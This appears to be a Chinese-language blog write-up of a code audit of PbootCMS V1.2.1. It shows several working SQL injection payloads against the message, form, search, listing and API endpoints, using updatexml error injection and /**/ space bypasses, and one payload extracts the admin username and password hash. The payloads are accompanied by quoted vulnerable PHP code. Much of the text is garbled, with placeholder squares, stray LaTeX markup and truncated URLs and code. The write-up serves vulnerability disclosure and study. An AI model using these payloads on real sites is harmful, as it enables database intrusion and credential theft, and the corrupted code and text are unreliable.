PbootCMS代码审计全过程之三-漏洞测试-sql注入

phpoop / 2018-12-12 06:51:00 / 浏览数 4423 技术文章 技术文章 顶(1) 踩(0)

0x08 前台home模块注入漏洞


0x08.1 在线留言处insert sql注入

0x08.1.2 漏洞演示



url:http://127.0.0.1/cms/PbootCMS-V1.2.1/index.php/Message/add
post:
 contacts[content`.`create time`.`update time`) VALUES ('1', '1', '1 and updatexml(1.concat(0x3a.user()).1));--

contacts[content`,`create_time`,`update_time`) VALUES ('1', '1' ,1 and updatexml(1,concat(0x3a,user()),1));-- a] = 1111
content = 1111
mobile = 1111



```
0x08.1.2 漏洞解读
路径: PbootCMS-V1.2.1\apps\home\controller\MessageController.php
方法: add(
//
  public function add()
      if ($_POST) {
          if (time() - session('lastsub') < 10) \{
              alert_back('
          //
          $checkcode = post('checkcode');
          if ($this->config('message_check_code')) {
             // if (! $checkcode) {
                    alert_back('
              //
              // }
              if ($checkcode != session('checkcode')) {
                 alert_back('
              }
          }
          //
          if (! $form = $this->model->getFormField(1)) {
              alert_back('
          }
          //
          $mail_body = '';
          foreach ($form as $value) {
              $field_data = post($value->name);
              $field_data = implode(',', $field_data);
              if ($value->required && ! $field_data) {
                 alert_back(value->description . ' \blacksquare \blacksquare \blacksquare \blacksquare \blacksquare ');
                 $data[$value->name] = post($value->name);
                 \mbox{mail\_body .= $value->description . '$\blue{\Boxes}$'$ . post($value->name) . '<br>';
          }
          //
```

```
if ($data) {
         $data['acode'] = session('lg');
         $data['user_ip'] = ip2long(get_user_ip());
         $data['user_os'] = get_user_os();
         $data['user_bs'] = get_user_bs();
         $data['recontent'] = '';
         $data['status'] = 0;
         $data['create_user'] = 'guest';
         $data['update_user'] = 'guest';
      }
      if ($this->model->addMessage($data)) {
         session('lastsub', time()); //
         $this->log('
         if (\frac{\pi}{\pi}) & \frac{\pi}{\pi}) & \frac{\pi}{\pi}
            $mail_subject = "\PbootCMS\PBBBBBBBBBBBBB";
            sendmail($this->config(), $this->config('message_send_to'), $mail_subject, $mail_body);
         }
         alert_location('
      } else {
         $this->log('
         alert_back('
      }
   } else {
      error('
}
```

可以看到,整个逻辑下来的意思就是说,查询出数据库一条数据,然后接收外部 POST 内容,只匹配数据库的字段,相同才会拼接到\$ data数组

\$this->model->addMessage(data)

路径: PbootCMS-V1.2.1\apps\home\model\ParserModel.php

方法: addMessage(


//


public function addMessage(\$data)
{
 return parent::table('ay_message')->autoTime()->insert(\$data);
}

根据6.0可以看到带入了进入了 insert 那么我们传的二维数组刚好可以控制key 带入数据库查询引发注入


0x08.2 免费通话insert sql注入

注:本地测试的时候,这个地方的注入需要后台添加一条数据才能注!真实环境的话,开放了这个功能直接抓包即可





0x08.2.1 漏洞演示



post

tel[tel`) VALUES (1 and updatexml(1,concat(0x3a,user()),1));-- a] = 1111



} else {

```
方法:add(
//
  public function add()
     if ($_POST) {
        if (time() - session('lastsub') < 10) {</pre>
           alert_back('
         }
        if (! $fcode = get('fcode', 'var')) {
           alert_back('
         }
        if ($fcode == 1) {
           }
        //
         /*
         * $checkcode = post('checkcode');
         * if ($this->config('message_check_code')) {
         * if (! $checkcode) {
         * alert_back('||||||||||||);
         * }
         * if ($checkcode != session('checkcode')) {
         * alert_back('======');
         * }
         * }
         * /
         //
        if (! $form = $this->model->getFormField($fcode)) {
           alert_back('
        //
        $mail_body = '';
        foreach ($form as $value) {
            $field_data = post($value->name);
            if (is_array($field_data)) { //
               $field_data = implode(',', $field_data);
            }
           if ($value->required && ! $field_data) {
              alert_back($value->description . '■■■■■');
            } else {
              $data[$value->name] = post($value->name);
               $mail_body .= $value->description . '\| ' . post($value->name) . '<br>';
           }
        }
        //
        if ($data) {
            $data['create_time'] = get_datetime();
         }
        //
        if ($this->model->addForm($value->table_name, $data)) {
           $this->log('
            if ($this->config('message_send_mail') && $this->config('message_send_to')) {
               sendmail($this->config(), $this->config('message_send_to'), $mail_subject, $mail_body);
            }
            alert_location('\|\|\|\|\|\|\|\|\|\|\|\', '-1');
```

```
$this->log('
                                alert_back('
                       }
              } else {
                       error(' TERREPOST POST ');
      }
可以看到,整个逻辑下来的意思就是说,查询出数据库一条数据,然后接收外部 POST 内容,只匹配数据库的字段,相同才会拼接到$ data数组
$\dis-\model-\addForm(\$\value-\table_name, \$\data)
路径: PbootCMS-V1.2.1\apps\home\model\ParserModel.php
public function addForm($table, $data)
      return parent::table($table)->insert($data);
根据6.0可以看到带入了进入了 insert 那么我们传的二维数组刚好可以控制key 带入数据库查询引发注入.
0X08.3 前台首页注入
0x08.3.1 漏洞演示
\verb|wrl: http://127.0.0.1/cms/PbootCMS-V1.2.1/index.php/Index?ext\_price | 3D1/**/and/**/updatexml(1,concat(0x7e,(SELECT/**/distinct/model)) | 1/27.0.0.1/cms/PbootCMS-V1.2.1/index.php/Index?ext\_price | 3D1/**/and/**/updatexml(1,concat(0x7e,(SELECT/**/distinct/model)) | 1/27.0.0.0.1/cms/PbootCMS-V1.2.1/index.php/Index?ext\_price | 3D1/**/and/**/updatexml(1,concat(0x7e,(SELECT/**/distinct/model)) | 1/27.0.0.0.1/cms/PbootCMS-V1.2.1/cms/PbootCMS-V1.2.1/cms/PbootCMS-V1.2.1/cms/PbootCMS-V1.2.1/cms/PbootCMS-V1.2.1/cms/PbootCMS-V1.2.1/cms/PbootCMS-V1.2.1/cms/PbootCMS-V1.2.1/cms/PbootCMS-V1.2.1/cms/PbootCMS-V1.2.1/cms/PbootCMS-V1.2.1/cms/PbootCMS-V1.2.1/cms/PbootCMS-V1.2.1/cms/PbootCMS-V1.2.1/cms/PbootCMS-V1.2.1/cms/PbootCMS-V1.2.1/cms/PbootCMS-V1.2.1/cms/PbootCMS-V1.2.1/cms/PbootCMS-V1.2.1/cms/PbootCMS-V1.2.1/cms/PbootCMS-V1.2.1/cms/PbootCMS-V1.2.1/cms/PbootCMS-V1.2.1/cms/PbootCMS-V1.2.1/cms/PbootCMS-V1.2.1/cms/PbootCMS-V1.2.1/cms/PbootCMS-V1.2.1/cms/PbootCMS-V1.2.1/cms/PbootCMS-V1.2.1/cms/PbootCMS-V1.2.1/cms/PbootCMS-V1.2.1/cms/PbootCMS-V1.2.1/cms/PbootCMS-V1.2.1/cms/PbootCMS-V1.2.1/cms/PbootCMS-V1.2.1/cms/PbootCMS-V1.2.1/cms/PbootCMS-V1.2.1/cms/PbootCMS-V1.2.1/cms/PbootCMS-V1.2.1/cms/PbootCMS-V1.2.1/cms/PbootCMS-V1.2.1/cms/PbootCMS-V1.2.1/cms/PbootCMS-V1.2.1/cms/PbootCMS-V1.2.1/cms/PbootCMS-V1.2.1/cms/PbootCMS-V1.2.1/cms/PbootCMS-V1.2.1/cms/PbootCMS-V1.2.1/cms/PbootCMS-V1.2.1/cms/PbootCMS-V1.2.1/cms/PbootCMS-V1.2.1/cms/PbootCMS-V1.2.1/cms/PbootCMS-V1.2.1/cms/PbootCMS-V1.2.1/cms/PbootCMS-V1.2.1/cms/PbootCMS-V1.2.1/cms/Pbo
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                          执行SQL发生错误!错误:XPATH syntax error: '~#admin:14e1b600b1fd579f47433b88', 语句: SELECT a.*,b.name as sortname,b.filename as
                          sortfilename,c.name as subsortname,c.filename as subfilename,d.type,e.* FROM ay_content a LEFT JOIN ay_content_sort b ON a.scode=b.scode
                          LEFT JOIN ay_content_sort c ON a.subscode=c.scode LEFT JOIN ay_model d ON b.mcode=d.mcode LEFT JOIN ay_content_ext e ON
                          a.id=e.contentid WHERE(a.scode in ('5','6','7') OR a.subscode='5') AND(a.acode='cn' AND a.status=1 AND d.type=2)
                          AND(ext_price=1/**/and/**/updatexml(1,concat(0x7e,
                          (SELECT/**/distinct/**/concat(0x23,username,0x3a,password,0x23)/**/FROM/**/ay_user/**/limit/**/0,1),0x7e),1));# like '%123%' ) ORDER BY
                          date DESC, sorting ASC, id DESC LIMIT 4
0x08.3.2 漏洞解读
文件地址: PbootCMS-V1.2.1\apps\home\controller\ParserController.php
方法:index(
 // EE EEE EE
      // parserAfter -> parserSpecifyListLabel
      public function index()
```

return \$content;

```
$content = $this->parser->parserBefore($content); // CMS
     $content = $this->parser->parserPositionLabel($content, - 1, '■■', SITE_DIR . '/'); // CMS■■■■■■■■
     $content = $this->parser->parserAfter($content); // CMS
     $this->cache($content, true);
  }
文件地址:apps\home\controller\ParserController.php
方法: parserAfter()
■■ $content = $this->parser->parserAfter($content); ■■■■
//
  public function parserAfter($content)
  {
```

\$content = \$this->parserSpecifyListLabel(\$content); //
#####

}

方法: parserSpecifyListLabel(

这里就将重要的方法分析一下了,其他无关的就删除掉避免影响阅读。

这里接收了外部了外部所有的get参数然后判断了开头的前4个字符是否 ext_ 开头,如果符合就直接拼接进入\$where2这个数组然后带入数据库进行getList方法与getSpecifyList查询,而底层是字符串拼接,过滤了value没有过滤key所以有注入

0x08.4 前台搜索框注入

0x08.4.1 漏洞利用

 $\verb|url:http://127.0.0.1/cms/PbootCMS-V1.2.1/index.php/Search/index?keyword=aaaa&updatexml(1,concat(0x7e,(SELECT/**/distinct/**/concat(SELECT/**/distinct/**/distinct/**/concat(SELECT/**/distinct/**/concat(SELECT/**/distinct/**/concat(SELECT/**/distinct/**/concat(SELECT/**/distinct/**/concat(SELECT/**/distinct/**/concat(SELECT/**/distinct/**/concat(SELECT/**/distinct/**/concat(SELECT/**/distinct/**/concat(SELECT/**/distinct/**/concat(SELECT/**/distinct/**/concat(SELECT/**/distinct/**/concat(SELECT/**/distinct/**/concat(SELECT/**/distin$





执行SQL发生错误!错误:XPATH syntax error ['~#admin:14e1b600b1fd579f47433b88'], 语句:SELECT COUNT(*) AS sum FROM ay_content a LEFT JOIN ay_content_sort b ON a.scode=b.scode LEFT JOIN ay_content_sort c ON a.subscode=c.scode LEFT JOIN ay_model d ON b.mcode=d.mcode LEFT JOIN ay_content_ext e ON a.id=e.contentid WHERE(a.acode='cn' AND a.status=1 AND d.type=2) AND(title like '%aaaa%' AND updatexml(1,concat(0x7e,

(SELECT/**/distinct/**/concat(0x23,username,0x3a,password,0x23)/**/FROM/**/ay_user/**/limit/**/0,1),0x7e),1));# like '%123%')

0x08.4.2 漏洞讲解

文件地址: PbootCMS-V1.2.1\apps\home\controller\SearchController.php

```
方法:index(
```

文件地址:apps\home\controller\ParserController.php

方法: parserSearchLabel(

```
public function parserSearchLabel($content)
foreach ($_GET as $key => $value) {
  if (! ! $value = get($key, 'vars')) {
    $where2[$key] = $value;
 //
 if (! $data = $this->model->getList($scode, $num, $order, $where1, $where2, $fuzzy)) {
  $content = str_replace($matches[0][$i], '', $content);
  continue;
这里就将重要的方法分析一下了,其他无关的就删除掉避免影响阅读。
```

这里接收了外部了外部所有的get参数然后就直接拼接进入\$where2这个数组

然后带入数据库进行getList方法查询,而底层是字符串拼接,过滤了value没有过滤key所以有注入

IDEA \$content = \$this->parser->parserSearchLabel(\$content);


0x09 我是一句废话

我是用来调皮的

0x10 api模块注入

api模块的注入需要后端开启api功能,并且获得 api_appid 与 api_secret 才能注入。

或是说 开启了api功能并且关闭了API强制认证 这样也可以注入



0x10.1 接口注入一

0x10.1.1 漏洞演示

```
\verb|wrl:http://127.0.0.1/cms/PbootCMS-V1.2.1/api.php/cms/search?1%3D1)| and (updatexml(1,concat(0x7e,(SELECT/**/distinct/**/concat(0x7e,(SELECT/**/distinct/**/concat(0x7e,(SELECT/**/distinct/**/concat(0x7e,(SELECT/**/distinct/**/concat(0x7e,(SELECT/**/distinct/**/concat(0x7e,(SELECT/**/distinct/**/concat(0x7e,(SELECT/**/distinct/**/concat(0x7e,(SELECT/**/distinct/**/concat(0x7e,(SELECT/**/distinct/**/concat(0x7e,(SELECT/**/distinct/**/concat(0x7e,(SELECT/**/distinct/**/concat(0x7e,(SELECT/**/distinct/**/concat(0x7e,(SELECT/**/distinct/**/concat(0x7e,(SELECT/**/distinct/**/concat(0x7e,(SELECT/**/distinct/**/concat(0x7e,(SELECT/**/distinct/**/concat(0x7e,(SELECT/**/distinct/**/concat(0x7e,(SELECT/**/distinct/**/concat(0x7e,(SELECT/**/distinct/**/concat(0x7e,(SELECT/**/distinct/**/concat(0x7e,(SELECT/**/distinct/**/concat(0x7e,(SELECT/**/distinct/**/concat(0x7e,(SELECT/**/distinct/**/concat(0x7e,(SELECT/**/distinct/**/concat(0x7e,(SELECT/**/distinct/**/concat(0x7e,(SELECT/**/distinct/**/concat(SELECT/**/distinct/**/concat(SELECT/**/distinct/**/concat(SELECT/**/distinct/**/concat(SELECT/**/distinct/**/concat(SELECT/**/distinct/**/concat(SELECT/**/distinct/**/concat(SELECT/**/distinct/**/concat(SELECT/**/distinct/**/concat(SELECT/**/distinct/**/concat(SELECT/**/distinct/**/concat(SELECT/**/distinct/**/concat(SELECT/**/distinct/**/concat(SELECT/**/distinct/**/concat(SELECT/**/distinct/**/concat(SELECT/**/distinct/**/concat(SELECT/**/distinct/**/concat(SELECT/**/distinct/**/concat(SELECT/**/distinct/**/concat(SELECT/**/distinct/**/concat(SELECT/**/distinct/**/concat(SELECT/**/distinct/**/concat(SELECT/**/distinct/**/concat(SELECT/**/distinct/**/concat(SELECT/**/distinct/**/concat(SELECT/**/distinct/**/concat(SELECT/**/distinct/**/concat(SELECT/**/distinct/**/concat(SELECT/**/distinct/**/concat(SELECT/**/distinct/**/concat(SELECT/**/distinct/**/concat(SELECT/**/distinct/**/concat(SELECT/**/distinct/**/concat(SELECT/**/distinct/**/concat(SELECT/**/distinct/**/concat(SELECT/**/distinct/**/concat(SELECT/**/distinct/**/con
post.
        11=11
■■■post ■■■post■■■■■
因为系统中会把 "空格"转为"_" 所以使用/**/绕过即可
0x10.1.2 漏洞讲解
路径: apps\api\controller\CmsController.php
方法: search(
这里我把漏洞触发点发出来我们主要讲讲他即可
//
foreach ($_GET as $key => $value) {
  if (! ! $value = get($key, 'vars')) {
        $where[$key] = $value;
   }
}
$data = $this->model->getList($acode, $scode, $num, $order, $where, $fuzzy);
从代码中看他会收集外部所有的 $_GET 带入 getList 进行入库查询 value 是我们无法控制所以无法注入的,可是key是我们可控制可注入的!!!跟进 getList方法
路径: PbootCMS-V1.2.1\apps\api\model\CmsModel.php
function getList(
//
        public function getList($acode, $scode, $num, $order, $where = array(), $fuzzy = true)
                    //
                    return parent::table('ay_content a')->field($fields)
                               ->where($where1, 'OR')
                                ->where($where2)
                               ->where($where, 'AND', 'AND', $fuzzy)
                               ->join($join)
                                ->order($order)
                                ->page(1, $num)
                               ->decode()
                               ->select();
```

这里我把关键代码放出来了,可以看到接收\$where以后直接仍进了数据库进行操作造成了注入

0x10.2 接口注入二

}

0x10.2.1 漏洞利用

```
url http://127.0.0.1/cms/PbootCMS-V1.2.1/api.php/cms/addmsg
post:
  contacts[contentl`) VALUES ( updatexml(1,concat(0x7e,(SELECT/**/distinct/**/concat(0x23,username,0x3a,password,0x23)/**/FRC
   mobile = 111
   content = 111
```



```
0x10.2.2 漏洞讲解
文件: PbootCMS-V1.2.1\apps\api\controller\CmsController.php
方法: addmsg(
//
        public function addmsg()
      if ($_POST) {
         //
         if (! $form = $this->model->getFormField(1)) {
             //
         $mail_body = '';
         foreach ($form as $value) {
            $field_data = post($value->name);
            if ($value->required && ! $field_data) {
                json(0, $value->description . '■■■■ ');
                $data[$value->name] = post($value->name);
                $mail_body .= $value->description . '■' . post($value->name) . '<br>';
         }
         //
         if ($data) {
            $data['acode'] = get('acode', 'var') ?: $this->lg;
            $data['user_ip'] = ip2long(get_user_ip());
            $data['user_os'] = get_user_os();
            $data['user_bs'] = get_user_bs();
            $data['recontent'] = '';
            $data['status'] = 0;
            $data['create_user'] = 'api';
            $data['update_user'] = 'api';
         }
         if ($this->model->addMessage($value->table name, $data)) {
            $this->log('API
            if ($this->config('message_send_mail') && $this->config('message_send_to')) {
                sendmail($this->config(), $this->config('message_send_to'), $mail_subject, $mail_body);
            }
            json(1, '■■■■■■');
         } else {
            $this->log('API
```

```
json(0, '■■■■■■');
                          }
                } else {
                           }
可以看到,整个逻辑下来的意思就是说,查询出数据库一条数据,然后接收外部 POST 内容,只匹配数据库的字段,相同才会拼接到$ data数组
$\text{this->model->addMessage(data)}
文件: PbootCMS-V1.2.1\apps\api\model\CmsModel.php
函数: addMessage(
//
      public function addMessage($table, $data)
                 return parent::table('ay_message')->autoTime()->insert($data);
根据6.0可以看到带入了进入了 insert 那么我们传的二维数组刚好可以控制key 带入数据库查询引发注入
0x10.3 接口注入三
0x10.3.1 漏洞利用
url http://127.0.0.1/cms/PbootCMS-V1.2.1/api.php/cms/addform?fcode=1
post:
      \verb|contacts[content')| VALUES ( updatexml(1,concat(0x7e,(SELECT/**/distinct/**/concat(0x23,username,0x3a,password,0x23)/**/FROM the contacts of the contact of the contact
      mobile = 111
      content = 123
      POST V http://127.0.0.1/cms/PbootCMS-V1.2.1/api.php/cms/addform?fcode=1
      Authorization Headers Body Pre-request Script Tests
      form-data x-www-form-urlencoded raw binary
      contacts[content*) VALUES ( updatexml(1,concat(0x7e,(SELECT/**/distinct/**/concat(0x23,username,0x3a,password,0x23)/**
      mobile
                                                                                                                                                      123
                                                                                                                                                      123
      content
                                                                                                                                                                                                                                                                                             Bulk Ed
                                                                                                                                                                                                                                                                      Status: 200 OK Time: 231 ms
                                                                                                                                                                                                                                                                         Q Save Response
      SELECT", "rowtotal":1}
0x10.3.2 漏洞讲解
// | | | | |
      public function addform()
       {
                 if (\$\_POST) {
                           if (! $fcode = get('fcode', 'var')) {
                                    json(0, '\|\|\|\|\|\|\|\|\|fcode\|\|\|\|');
                           }
                           if (! $form = $this->model->getFormField($fcode)) {
                                     json(0, '===========');
                           //
                           $mail_body = '';
```

foreach (\$form as \$value) {

} else {

\$field_data = post(\$value->name);
if (\$value->required && ! \$field_data) {

json(0, \$value->description . '■■■■ ');

```
$data[$value->name] = post($value->name);
                \mbox{mail\_body} := \mbox{value->description} . ' \blacksquare ' . post(\mbox{value->name}) . ' < \mbox{br>'};
             }
         }
         if ($data) {
             $data['create_time'] = get_datetime();
         //
         if ($this->model->addForm($value->table_name, $data)) {
             $this->log('API
             if ($this->config('message_send_mail') && $this->config('message_send_to')) {
                \label{eq:mailbody} $$ $ = '\br>$$ $$ is : get_http_url() . '$ . date('Y-m-d H:i:s') . '$ . $$
                sendmail($this->config(), $this->config('message_send_to'), $mail_subject, $mail_body);
             }
             json(1, '||||||||;
         } else {
             $this->log('API
             json(0, '■■■■■■');
         }
      } else {
         json(0, '########POST#####');
      }
  }
可以看到,整个逻辑下来的意思就是说,查询出数据库一条数据,然后接收外部 POST 内容,只匹配数据库的字段,相同才会拼接到$ data数组
$this->model->addForm(data)
文件: PbootCMS-V1.2.1\apps\api\model\CmsModel.php
方法: addForm(
//
public function addForm($table, $data)
  return parent::table($table)->insert($data);
根据6.0可以看到带入了进入了 insert 那么我们传的二维数组刚好可以控制key 带入数据库查询引发注入
你都有前台这么多个洞了,怎么还要后台的洞?贪心可是不好的
```

0x11 admin模块漏洞

:)

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